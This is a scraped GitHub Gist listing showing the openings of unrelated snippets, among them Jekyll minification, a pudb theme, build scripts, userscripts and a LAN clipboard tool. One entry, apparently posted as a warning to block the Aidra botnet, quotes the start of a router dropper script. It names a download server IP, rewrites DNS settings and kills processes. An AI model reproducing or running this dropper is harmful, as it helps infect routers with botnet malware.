Skip to content

Instantly share code, notes, and snippets.

@itskingori
itskingori / preprocess_assets.rb
Last active June 22, 2016 10:31
Minify Jekyll Assets On GitHub Pages Using Sprockets
require 'sprockets'
# Get relevant paths
project_root = File.expand_path('..', File.dirname(__FILE__))
app_css_file = File.join(project_root, 'assets', 'stylesheets', 'application.css')
app_js_file = File.join(project_root, 'assets', 'javascripts', 'application.js')
# Initialize Sprockets
environment = Sprockets::Environment.new
environment.append_path(File.join(project_root, '_assets', 'javascripts'))
@flupke
flupke / gist:5888808
Created June 28, 2013 23:01
A theme for pudb somewhat reproducing vim's desert colorscheme (needs 256 colors terminal).
default = 'light gray'
strings = 'h217'
keywords = add_setting('h222', 'bold')
callables = 'h120'
breakpoints = 'h203'
comments = 'h116'
background = 'h236'
focused_background = 'h238'
current_background = 'h240'
@hfeeki
hfeeki / build_openbr.sh
Last active August 26, 2016 01:16
Build openbr in ubuntu
# Install GCC 4.7.3
sudo apt-add-repository ppa:ubuntu-sdk-team/ppa
sudo apt-get update
sudo apt-get install -y build-essential
# Install CMake 2.8.10.1
sudo apt-get install -y cmake cmake-curses-gui
wget http://netcologne.dl.sourceforge.net/project/opencvlibrary/opencv-unix/2.4.5/opencv-2.4.5.tar.gz
tar -xf opencv-2.4.5.tar.gz
@tas50
tas50 / gist:17f98a7d5cd417855ba2e0a1184941b9
Created December 5, 2016 19:25
Update vagrant boxes (requires vagrant 1.9)
#!/bin/bash
if [ $# -eq 0 ]; then
echo "Box type must be specified (virtualbox, vmware_desktop, parallels)"
exit 1
fi
# Find all boxes which have updates
AVAILABLE_UPDATES=`vagrant box outdated --global 2>/dev/null | grep outdated | tr -d "*'" | cut -d ' ' -f 2`
// ==UserScript==
// @name Hacker News profile bar
// @description Adds a profile bar to each comment that includes data from the user's profile page (e.g. karma, days since creation, "about me" text)
// @author Shaun Gallagher, author of "Experimenting With Babies" (http://www.experimentingwithbabies.com) and "Correlated" (http://www.correlated.org)
// @namespace HNprofilebar
// @match https://news.ycombinator.com/*
// ==/UserScript==
// load jQuery
// ==UserScript==
// @name Hacker News profile bar
// @description Adds a profile bar to each comment that includes data from the user's profile page (e.g. karma, days since creation, "about me" text)
// @author Shaun Gallagher, author of "Experimenting With Babies" (http://www.experimentingwithbabies.com) and "Correlated" (http://www.correlated.org)
// @namespace HNprofilebar
// @match https://news.ycombinator.com/*
// ==/UserScript==
// load jQuery
// ==UserScript==
// @name AnyFlairs+
// @author Capernicus
// @version 1.0
// @include http://*.koalabeast.com:*
// @include http://tagpro-*.koalabeast.com*
// @grant GM_setValue
// @grant GM_getValue
// ==/UserScript==
(function () {
@gwwfps
gwwfps / clipshare.py
Created June 4, 2010 22:39
Shares clipboard with LAN.
#!/usr/bin/env python
import socket
import logging
import zlib
from threading import Thread
from PyQt4.QtGui import QApplication
from PyQt4.QtNetwork import QUdpSocket, QHostAddress
# Config
@jedisct1
jedisct1 / aidea.sh
Last active September 22, 2017 10:54
Aidra botnet is still alive... Block this!
#!/bin/sh
# THIS SCRIPT DOWNLOAD THE BINARIES INTO ROUTER.
# UPLOAD GETBINARIES.SH IN YOUR HTTPD.
# YOUR HTTPD SERVER:
REFERENCE_HTTP="http://95.211.153.135"
echo "nameserver 8.8.8.8" >/etc/resolv.conf
# NAME OF BINARIES:
killall /var/run/*
killall /var/run/.*/*
@ziadsawalha
ziadsawalha / config.py
Created December 19, 2013 19:38
Python module Generic to parse command-line, environment, keyring, and config file options dynamically
"""
Configuration Parser
Configurable parser that will parse config files, environment variables,
keyring, and command-line arguments.
Example test.ini file: